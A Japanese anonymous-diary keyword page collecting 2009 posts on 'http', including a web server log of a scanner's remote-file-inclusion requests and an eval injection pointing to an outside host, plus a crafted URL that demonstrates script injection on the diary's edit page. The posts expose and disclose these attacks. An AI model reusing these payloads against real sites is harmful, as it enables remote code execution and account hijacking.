「http」を含む日記 RSS

はてなキーワード: httpとは

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

2009-11-02

格差を前提とした社会

台北での物価水準は、あまり日本と変わらない。

参考)http://www.google.co.jp/url?sa=t&source=web&ct=res&cd=3&ved=0CA4QFjAC&url=http%3A%2F%2Fwww.jcif.or.jp%2FPubWorldDL.php%3Ffile%3D14&ei=lVHuSqjqH43k6gPJkqXsCw&usg=AFQjCNHNloSOCcKpddWEnP1efdbIM3ISuw&sig2=O8-lt-wzDd6pdxe7fRmx3A

きちんとした店で中華料理を食べると、日本とあまり変わらない。

一方で、屋台で粥を食べると一杯100円程度

日本ではどこにいっても粥一杯100円でおなかを一杯にすることはできない。

日本で生活する場合のベーシックコストは高い。

例えば、吉野屋で食べればどんぶり一杯330円。

サラリーマンランチコストは平均700円程度だろうか。

上下の差はそれほど大きくない。

中国において、多少裕福な家庭は家政婦を雇うのが一般的である。

日本において家政婦を雇うのは、相当裕福な家庭であろう。

家政婦は格差社会ひとつの指標である。

例えば、月4万程度で家事一切を任せられるのならば、家政婦を雇うという人も少なくないのではなかろうか。

貧しい人には貧しい人の生活方法が提供されている社会

そうでない日本

その日本相対貧困率が拡大しつつある。

格差を前提とした社会へ変貌するのだろうか。

2009-10-04

グーグルマップ壁紙にしてみる

10/18 改訂

グーグルマップ航空写真をつなげて一枚にするスクリプト

なお、取得した画像著作権グーグル他各社が保持しています。

ご利用は計画的に私的範囲でどうぞご利用ください。

#!/usr/bin/perl

use strict;
use warnings;
use Getopt::Long;
use LWP::UserAgent;
use GD;

my $cmdline = join(" ", $0, @ARGV);
my $usage = "usage: $0 -sx=116423 -sy=51603 -ex=116426 -ey=51605 -dx=4 -dy=3 -z=17 -size=300 -get=30 -dir=cache -output=output.jpg -nodebug";
my ($sx, $sy) = (0, 0);
my ($ex, $ey) = (0, 0);
my ($dx, $dy) = (4, 3);
my $z = 17;
my $size = 300;
my $get = 30;
my $dir = "cache";
my $output = "output.jpg";
my $debug = 0;
GetOptions("sx=i" => \$sx, "sy=i" => \$sy,
	   "ex=i" => \$ex, "ey=i" => \$ey,
	   "dx=i" => \$dx, "dy=i" => \$dy,
	   "z=i" => \$z,
	   "size=i" => \$size, "get=i" => $get,
	   "dir=s" => \$dir, "output=s" => \$output,
	   "debug!" => \$debug) or die "$usage\nDied";
if ($ex == 0) {
    $ex = $sx + $dx;
} else {
    $ex++;
    $dx = $ex - $sx;
}
if ($ey == 0) {
    $ey = $sy + $dy;
} else {
    $ey++;
    $dy = $ey - $sy;
}
$sx>0 and $dx>0 and $sy>0 and $dy>0 and $z>0 and $dir and $output
    or die "$usage\nBad arguments";
$dx*$dy > $size and die "Getting too large.";

$debug and print "debug: mkdir $dir\n";
mkdir $dir;
-d $dir or die "can't make dir $dir: $!";

my $base = sprintf("http://khm%d.google.co.jp/kh/v=46&z=%d", int(rand(4)), $z);
my $ua = LWP::UserAgent->new;
printf "now get %d images...\n", $dx*$dy;
for (my $x=$sx; $x < $ex; $x++) {
    for (my $y=$sy; $y < $ey; $y++) {
	my $file = sprintf("%s/%02dz%06dx%06d.jpg", $dir, $z, $x, $y);
	$debug and print "debug: check of $file\n";
	-s $file and next;
	--$get < 0 and last;
	my $req = HTTP::Request->new(GET=>+"$base&x=$x&y=$y");
	$debug and print "debug: fetch from ".$req->uri."\n";
	my $res = $ua->request($req);
	unless ($res->is_success) {
	    print "fail fetch from $file: ", $res->status_line, "\n";
	    next;
	}
	if (open(my $fh, ">", $file)) {
	    $debug and print "debug: write of $file\n";
	    binmode $fh;
	    print $fh $res->content;
	    close $fh;
	} else {
	    print "fail open in $file: $!\n";
	}
    }
}
$get < 0 and print "reach the getting limit, skip after all.\n";

printf "creating %dX%d image...\n", 256*$dx, 256*$dy;
my $image = new GD::Image(256*$dx, 256*$dy);
for (my $x=$sx; $x < $ex; $x++) {
    for (my $y=$sy; $y < $ey; $y++) {
	my $file = sprintf("%s/%02dz%06dx%06d.jpg", $dir, $z, $x, $y);
	$debug and print "debug: check of $file\n";
	-s $file or next;
	$debug and print "debug: read of $file\n";
	my $part = GD::Image->newFromJpeg($file);
	$debug and print "debug: image copy\n";
	$image->copy($part, 256*($x-$sx), 256*($y-$sy), 0, 0, 256, 256);
    }
}
#$image->string(gdSmallFont, 0, 0, $cmdline, $image->colorAllocate(255, 255, 255));
open(my $fh, ">", $output) or die "fail open $output: $!";
$debug and print "debug: write of $output\n";
binmode $fh;
print $fh $image->jpeg();
close $fh;

例えば秋葉原とか

perl gmwall.pl -sx=116423 -sy=51603 -ex=116427 -ey=51606

駅だけとか

perl gmwall.pl -sx=465701 -sy=206420 -ex=465705 -ey=206423 -z=19

使う数値はfirebugなどで拾ってください。

2009-09-30

http://anond.hatelabo.jp/20090930000930

たしかにjavascriptをきっちりマスターすれば、それは強みになるかもしれない。

しかし、いかんせんアクが強すぎる。王道になり得ない。

まず、javascriptだけで完結しない。どうしてもサーバイドが絡む。

いや、javascriptで完結できるよ、と思うかもしれないが、それは特殊だ。ニッチだ。

何を言っても今のところ、javascript組込み言語の域を出ていない。

実行環境が特殊過ぎる。

ファイルシステムがあってプロセスがあってネットワークがあるOSに透過な環境で動かない。

DOMがあってHTTPデータが運ばれてシングルタスク的な環境になってる。

そして、クラス/インスタンスモデルではなく、プロトタイプチェーンモデルだ。

初心者が最初に深く突っこむ言語としては特殊過ぎる。

サーバソフトウェアから使い捨てプログラムまで書くような言語ではない。

第二言語止まりだ。母国語にならない。

プログラミングの体験には良いかもしれない。オブジェクトを体験するには良いかもしれない。

しかし、程々にして他の言語に移った方が良い気がする。

javascriptを極める前にマルチリンガルを目指せ。

……。

当たり前か。

一つの言語で満足できるわけない。

プログラミング勉強するならJavaScriptもCもpythonもついでにjavaperlも。

2009-09-29

多分、同じ悩みを持つ人は多いと思う

プログラマ。5月から仕事が無くて、自宅待機。

いろいろ引き伸ばしていたけど、とうとう明日から無職

失業保険来年6月まで出る。そして一応貯蓄もある。

景気が回復したら今の会社で雇ってくれる約束もある。

俺は、無理に就職しないのが得策だと考えた。

つまり、今は「景気回復まで我慢する」という方針。

景気回復まで何とか食いつないで、景気回復したら何とかなるだろう、と考えている。

だけど、冷静に考えてみる。

一度失業して、間をあけると、かなり就職しにくい。

そして、今の会社景気回復まで持つかどうか、判らない。

ひょっとしたら、このまま景気回復まで我慢っていう選択肢ダメなんじゃないだろうか。

ただ、今無理に就職しても、精神と体を壊しそうに見える。

今働いてる友人達を見ても、ハードすぎる。

この年齢になるまでプログラマだけやってきた。プログラマっていうのはアレもコレもコンピュータに関わる事は大体全部出来ないといけない。

ネットワークの知識は社内LANパケットキャプチャしたら大体全部の信号意味が判る程度、サーバの設定も試験内容にあわせて変えなきゃいけないから大体やってる。ApacheHTTP-proxysendmailという一般的なところから、RADIUS、ITStage、SIPサーバもやった。ドキュメントを素早く大量に正確に作らないといけないのでワードエクセルパワーポイントVISIOも使いこなしてる、事務のお姉ちゃんより断然詳しい。Oracleだってやった。パズルみたいなSQLを読み解いて、問題解析して、またパズルみたいにSQLを組み立てて、みたいな日常を何ヶ月も過ごした。Linuxも必要があってカーネル改造した経験があるというかカーネル改造だけでここ数年食ってた。Windowsだってやった。VBVC++もやった。インストーラVisualStudioデベロッパで作って、InstallSheildで作って、でも仕様を満たさない&顧客が納得しないのでVC++スクラッチした。SIP電話開発した。SIPなら大概わかる。UNIXミドルウェア作りまくったのでシステムコールはかなり深くやった。ちなみにvi派。UNIXなら絶対viが使えるから。シェルだってABCTやった。Aシェルやったのは1回きりだけど。

ここまでやってても、でも、仕事は無いんだよ。

プログラマとして有能になるべく、頑張ってきたのに、プログラマ仕事そのものが無くなったんだよ、世の中から。

何しようかなぁ。サラリーマンっぽくない技術職がいいなぁ。

2009-09-03

http://anond.hatelabo.jp/20090816230506

今度からはiptablesで弾くようにしたから、http以外でもアクセスできなくしたぞ!

206.135.108.5

190.196.23.170

208.94.173.168

213.194.149.20

86.121.126.226

193.134.218.28

193.135.56.227

72.249.191.226

次は、この辺を試すか。

mod_dosdetector

mod_evasive

http://www.cafechantant.com/trac/wiki/apache_module_5_dos_prevention

それとも、特定のURLの組み合わせにアクセスしてきたIPiptablesブラックリストに入れるスクリプトでも書くか。

2009-08-18

http://anond.hatelabo.jp/20090818140922

apachehttpd.confを見たけどDefaultCharsetは設定されてませんでした。

念の為php.iniも見たけどそれっぽい記述はなし。

<meta http-equiv="Content-Type" content='text/html; charset="EUC-JP"' /&gt;

tplの頭にこれを書いてみたけどスルーされてしまうようです。

header("Content-Type: text/html;charset=EUC-JP");

tplを読み込む前に呼ぶか、

結局これしか解決策はなさそうです。

http://anond.hatelabo.jp/20090818132312

なるほど、php.iniは別におかしくなさそうだね。

だとすればhttpdapacheだとして、DefaultCharsetが設定されてるのかもしれない。

そこがいじれるのなら、DefaultChasetは'none'にするとか、それができないなら、通常の.phpスクリプト同様に

header("Content-Type: text/html;charset=EUC-JP");

tplを読み込む前に呼ぶか、あと、

<meta http-equiv="Content-Type" content='text/html; charset="EUC-JP"' /&gt;

的なものをtplに明示的に書いとけば、大体のUAはそっちを優先してくれると思うけど。

2009-08-16

HTTPアタックしてくんな!

いたちごっこなんだけど。

66.35.81.31

82.207.70.26

弾いたぞ!

2009-08-03

インターネット常時接続なのに、セッション管理とはこれ如何に!?

おい、kawango!一般人にも感じがつかめるようにセッション管理について教えてやる

 

一般の人にとって一番わかりにくいのが

ということ。

「えー、うちのインターネット常時接続だよ?」とかいう奴は蓬莱弾幕でも食らっていやがれ。

 

インターネット接続方法を例え話にすると

となる。接続状態(太郎くんのお家にお邪魔している状態)というものは存在しない。とにかく毎回毎回、「ピンポーン」とやって、いちいち要件を伝えないといけない。ちなみに執事はいつも受動的。言われたことしかしない。

 

さて、もうちょっと高度に

ことも出来る。

好きな人はさすがに一部の友達にしか伝えられないので、山田家の執事は決められたルールに従って、「太郎の様子は万人に伝えても良いが、太郎の好きな人はマブダチにしか伝えてはならない」といった篩い分けをする必要がある。今僕らが話題にしたい「認証」の問題だ。

もちろん人間執事なら、一度覚えれば、誰がマブダチで誰がそうでないかはわかるわけだが、現実Webサーバー杓子定規なので、毎回毎回「名前ユーザー名)と合言葉パスワード)」を聞いて、本当にマブダチかどうかを確認する。

マブダチA:「太郎君の好きな人って誰? 僕は《マブダチA》、合言葉は《おニャン子》だよ」

執事:「初音ミクです」

マブダチA:「その前は誰だったの?」

執事:「お名前と合言葉をどうぞ」

マブダチA:「その前は誰だったの? 僕は《マブダチA》、合言葉は《おニャン子》だよ」

執事:「アララ・ミルクです」

という面倒な方法をとらないといけない。

 

要するにページを移動するたびに(ひとつまえの好きな人を聞くたびに)、認証(マブダチ確認)を行う必要がある。

それはめんどくさいから、ある一定期間の間は特殊な記号を使って、認証を楽に済ませましょうというのが、HTTPにおけるセッション管理だ。

さっきの例え話でいくと、

山田家の執事がマブダチAの手間を考えて「毎回お名前と合言葉を言ってもらうのも面倒ですから、このバッジセッションID)をお渡ししますので胸に付けてください(クッキーに保存)。それを見ればわかりますから。但し、最後のお問合せから30分以上すぎたらお名前と合言葉をもう一度言ってもらいます(セッションIDの有効期限)。そのときはまた新しいバッジをあげます」となる。

大事なことは、このバッジが一時的にしか使われないものということだ。どのくらいの期限を有効とするかはその家族で決めたルールによる。いずれにせよ、バッジがあれば完全スルーであるので気をつける必要がある。

 

要するにセッション管理を利用することで、実はマブダチじゃない人にマブダチを騙られるリスクが増すんだ。

毎回毎回、ユーザー名とパスワードを答えるのは面倒だから、バッジでよろしくね!ってなったら、バッジジャイアンに奪われたり、スネ夫盗み見られたり、出来杉君に気付かないうちに誘導させられたりというリスクが出てきてしまう。それを心配しないといけないんだ。

 

ここで、もしだよ、マブダチAが、世界自分だけが持っている変更不可能な情報バッジの代わりに使ったとしよう。例えばDNAだ。

執事DNAでマブダチかどうかを判断する。簡単ログインのためにあなたはDNA情報を提供しますか?となる。山田さんの家も、佐藤さんの家も、田中さんの家もDNA情報ひとつで認証を済んでしまうような社会だ。しかもマブダチAを表すDNAはひとつしかない。よって、このDNAを1つコピーするだけでマブダチAになりすませる。hatenamixiもNaviTimeもDNA認証を使っているサービスは全部だ。もちろん、このDNA認証を一般のセッション管理と同じように有効期限を設定して、その都度破棄することもできるが……。それはあくまで、善意執事の場合であって……。DNA情報と本人の個人情報マッチングして裏でほくそえむ黒執事がいたら……ざわっざわざわ……。

しかも、DNA情報暗号化せずによこせと言ってる奴もいるッ!な……何を言ってるのかわからねーと思うが、おれも何が目的なのかわからねえ……。オレオレ詐欺だとか、クレジットマスターだとか、そんなチャチなもんじゃねえ……。DNA情報ばら撒きというもっと恐ろしいものの片鱗を味わったぜ……。

 

わかったか、kawango!

ニコニコ技術者が即対応したからよかったんだぞ!

っていうか、指摘されるまで気が付かないという業界は恐ろしいぞ。業界ぐるみDNA情報を集めて利用しようって魂胆か?

2009-07-08

今話題のポケゲーと昔、話題になったマージュとの関係

UserAgentなしでアクセスすると。。

http://marj.jp/

HTTP Status 500 -

type Exception report

message

description The server encountered an internal error () that prevented
it from fulfilling this request.

exception

javax.servlet.ServletException
       at org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:545)
       at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:486)
       at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:274)
       at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1482)
       at com.hmsystems.common.struts.extension.HmsActionServlet.process(HmsActionServlet.java:28)
...

http://pkga.jp/

HTTP Status 500 -

type Exception report

message

description The server encountered an internal error () that prevented
it from fulfilling this request.

exception

java.lang.NullPointerException
       at com.hmsystems.sns.presentation.struts.RequestProcessor.processForwardConfig(RequestProcessor.java:91)
       at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:279)
       at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1482)
       at com.hmsystems.common.struts.extension.HmsActionServlet.process(HmsActionServlet.java:28)
       at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:507)
       at javax.servlet.http.HttpServlet.service(HttpServlet.java:696)
       at javax.servlet.http.HttpServlet.service(HttpServlet.java:809)

両方ともHM SYSTEMSさんが作っていたんですね。

http://www.hmsystems.com/

http://www.youtube.com/watch?v=k6_1P2EKKYo&amp;feature=PlayList&amp;p=56E3E51E650A4CE7&amp;index=0

2009-06-15

匿名プロキシ使っても、あなたが誰なのかモロバレです

HTTPリクエストヘッダにプロキシ特有の環境変数を付加しない

匿名プロキシ(通称、串)を使って、コメント欄荒らしをする人へ。

あなたがどこの誰なのか、モロバレですよ。

たいていのアクセス解析クッキーを使っているので、

プロキシを使っていても生IPは調べればすぐに分かります。

たとえクッキーを切っていても、OSブラウザ等の環境情報見れば

IP推理可能です。

そして、生IPが分かればメールアドレスや持っていればホームページブログアドレス

更には、通ってる学校会社までバレる事も。

先日、匿名プロキシ使ったコメント欄荒らしさんは

調べてみたら某大手企業co.jpドメインからのアクセスでした。

休みに何してますのん?

しかも、相互リンクしているブロガーでいつもは友好的なコメントくれる人でした。

匿名だと、こんなに人格変わるんですね。

2009-05-18

http://anond.hatelabo.jp/20090518131333

とりあえず、漫画アニメの女キャラ名前イメージ検索したら、エロ同人画像がわらわらと出てくる現状は、どげんかせんといかんと思うよ。

これはむしろ検索エンジンの問題だと思う。PageRanking は内容を考慮しないから。

<META http-equiv="Content-Rating" content="Z;CERO-200804;VIOLENCE,SEX"><!--区分;参照基準;分類-->

みたいにしてページ記述者側で挙動を制御できるようにしたらどうだろうか。Google中の人

2009-05-17

Dan Kogai の "どおし" と "同士"

http 記法あるいは a 要素を記述しても "はてなキーワード" への自動リンクにより (!?) リンクがうまく機能しないようなので URL を直接記述しました。そのせいで少々読みづらいです。

下記のコメントを読み、思わず失笑してしまいました。

頼む、そろそろ「同士」は「どおし」じゃなくて「どうし」だと覚えてくれ…。

Posted by jonji at 2009年05月17日 00:21

http://blog.livedoor.jp/dankogai/archives/51213702.html

このように、はてな匿名ダイアリーで論うのは如何なものかと思いますが、試しに Google検索してみました。

http://www.google.com/search?q=site%3Ablog.livedoor.jp%2Fdankogai%2Farchives%2F*%20%22%82%C7%82%A8%82%B5%22&amp;tbs=qdr:y15
http://www.google.com/search?q=site%3Ablog.livedoor.jp%2Fdankogai%2Farchives%2F*%20%22%93%AF%8Em%22&amp;tbs=qdr:y15


本文とコメント欄を区別できていないのでイマイチ

2009-04-14

http://anond.hatelabo.jp/20080822142610

スーパーpre記法がアレなまま直ってないわけで。

姉妹サイト(?)ができていたわけで。

なにやらcookieを食べようとした形跡があるわけで。

#!/usr/local/bin/perl -w
use strict;
use warnings;

use Web::Scraper;
use URI;
use Perl6::Say;
use MIME::Type;
use HTTP::Cookies;
use LWP::UserAgent;
use Path::Class;
use Data::Dumper;sub p { print Data::Dumper::Dumper(@_) };

# cookie_jar


  

2009-04-11

最近の活動』、プライベートモードブクマ漏れてないですか?

ある人Aさんの「最近の活動」ページに、自分お気に入りに入れているBさんがブクマしていて、そこから何気なくアクセスしたんだけれど、私はAさんのブクマの閲覧許可を得ていないのに、Aさんがコメントしている内容が読めたような。

念のためログアウトした状態でurl入れて確認してみたけど、やっぱりブクマページはプライベートモードで表示されないのに、「最近の活動」ではブクマコメントも表示されてる。

けど、ずっとプライベートモードにしていた自分ブクマの内容は見えていないようなので、必ず漏れるというものでもなさそう。

最近プライベートモードにした人でそれ以前の物が見えたとか、そんなんなんだろうか。

もう既に誰か指摘してますかね。なにかの勘違いだったらいいんだけど。

追記

naoya 『確認ですが、公開状態だったブックマークを後から非公開にした場合に、それまで公開分だったデータが表示されたままの状態になる、という理解でよろしいでしょうか? 現在MyはてなはてなブックマークからRSSフィード情報を取得していまして、フィードインターネット経由でHTTP GET で取得します。その際、特に Cookie を添加するといったことは行っておりませんので、非公開状態になっているものが無条件でMyはてな側に保存されることはありません。 RSSフィードを取得した内容をキャッシュして保存している都合上、現状では後から非公開にされたものが表示されてしまう件に関しては仕様となっています。本仕様はいずれ改善する予定です。』 (2009-04-15 18:05:46)

http://i.hatena.ne.jp/idea/23479)

だそうです。私が見たのは多分これだと思います。キャッシュ魚拓のような感じ?

とりあえず、ずっとプライベート状態の物がうっかり漏れることはないらしいです。ただ、公開したり非公開にしたり切り替える場合は要注意っぽいです。たとえばなにかコメントに問題があって後から非公開にするケースとかでは困りそうな。でも、いずれ改善予定とのこと。

不安煽りそうな増田書いておいて放置もあれなので、追記しておきます。

2009-04-03

anond:番号」ってやられるとリンクにならないのだが、自分ブラウザだけか?

httpから書いてほしい…。

2009-03-04

http://anond.hatelabo.jp/20090304013600

RSSリーダーの表示を以下のように設定する。


すると、増田は返信ばかりで、トピックは少ないことに気づく。

(鬱宮マキ)

2009-02-24

http://anond.hatelabo.jp/20090223224553

結局、なにがしたいか、なにが学びたいか、だろうな。

元増田も大元増田も、とりあえず言語を学んだ。てにをは挨拶は分かった状態。それでどうするのか、とりあえず小説を書くのか、言語学を学んでみるか、ラノベ研究してみるのか。

SICPだと、プログラミングとは何ぞや?とメタ言語学的になるのかな。あと、アルゴリズムとか、より抽象的、数学的な方向へ向かうのか。

ブックマークコメントに多いのは、とりあえず作れってやつ。しかし、現状で作りたいものがあるなら、もう作っているはずで、特にないから困っているのだろう。

ジャンル的にはWebアプリGUIアプリか。あと、サーバソフトウェアもある。

Webアプリだと、HTTPとかブラウザ側と、CGIとかapacheサーバ側とのインターフェースを知る必要がある。他にもデータベースマネージャーSQLに手を出すとか、railsとかフレームワークに手を出すか。

GUIアプリだと、ライブラリフレームワークOSとのインターフェースを知る必要がある。データベースを使っても良いし、ネットワークに手をだすならSOCKETとか。WindowsならWindowsの、XならKDEとかgnomeとかの作法があるし。

GUIアプリでもだけど、サーバソフトウェアならネットワークプロトコルの他に、スレッドだとかある。

これらも、一から自分で始めてみるか、既存の、例えば自分が使ってるOSSに機能追加してみるとか。

あと、アセンブラって出てたけど、コンピューターの実際的な構造とか、OS内部、ドライバの作りなんかへ進む手もある。

元増田は標準ライブラリを使ったプログラミングフレームワークの内部構造を把握すればよいんじゃないかな。

というわけで、よりフロントエンドライブラリフレームワークの方向か、バックエンドシステムコールOSへ向かうか、

より抽象的なアルゴリズムとか情報理論の方向か、実際的なネットワークデータベースなどの周辺要素へ向かうか、

どういう方向に興味があるのか分からない事には。

2009-02-23

愛しのあの子に増田で告白

http://anond.hatelabo.jp/(好きな子のはてな ID)/edit?body=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22%E3%81%99%E3%81%8D%E3%81%A7%E3%81%99%22%29%3B%3C%2Fscript%3E

こんな感じの URL適当に短縮 URL 作成して、うまいこと踏んでもらう。自分で書いといてなんだけど、やられたくない。

この手の脆弱性もの小ネタって、既に誰かが指摘してたり実践してたりしててもおかしくないと思うんだけど、前例あったらプリーズ

あと、そこまでやばいもんでもないと思って書いたけど、やばかったら適当に修正します。

追記。

twitter とかの短縮 URL ホイホイ踏みそうなとこで、はてな ID が割れてる人をターゲットにするようなケースを想定すると、実際にクッキーとか盗めそうだからちょっといやん。セッション用のクッキーって IP 違うと無効になったりしてくれるのかな。ならなきゃなりすましも可能でいやいやん。その ID の人以外は単に増田トップにリダイレクトされるから、短縮 URL の先が増田である旨も付け加えながら書かれたら(「今、増田が熱い http:~」とか)、誰にも疑念すら持たれない可能性がある。いや踏んだターゲットさんは疑念持つからいいのか。でも持ったところで後の祭りになってたらどうしよう。あーでもはてラボではパスワード変えられないから丸ごとハイジャックされてお祭り騒ぎとかは無いか。うん、きっと今のところ & これ単体ではそれほどまでにはやばくはない、はず。

2009-02-22

anond:20090222092444

http://anond.hatelabo.jp/20090222092444

一応、参考資料として、昨年のホッテン一覧を出しておこうか。

http://b.hatena.ne.jp/entrylist?sort=count&url=http%3A%2F%2Fanond.hatelabo.jp%2F2008

因みにベスト10はこんな感じ。

1. 内科医が風邪について書く(2008/12/07)

2. 40歳平凡サラリーマンが半年でTOEIC400点から700点を獲得した方法(2008/10/19)

3. 簿記2,3級を独学で同時に3週間で受かる方法(2008/12/20)

4. できる人(という本のメモ)(2008/07/29)

5. 最近ジンジャーエールうまい(2008/08/04)

6. 「爆発音がした」まとめ(2008/05/06)

7. 正規表現の機能の覚書き(2008/09/23)

8. ここでクリーニング屋でバイトしてた私が来ましたよっと(2008/10/18)

9. すごい物を見てもへこたれない人(2008/11/17)

10.誰からも後ろ指を指されない社内ニートになるための10の方法(2008/06/03)

うーむ、下半期に偏るなぁ。

2009-02-20

use strict;
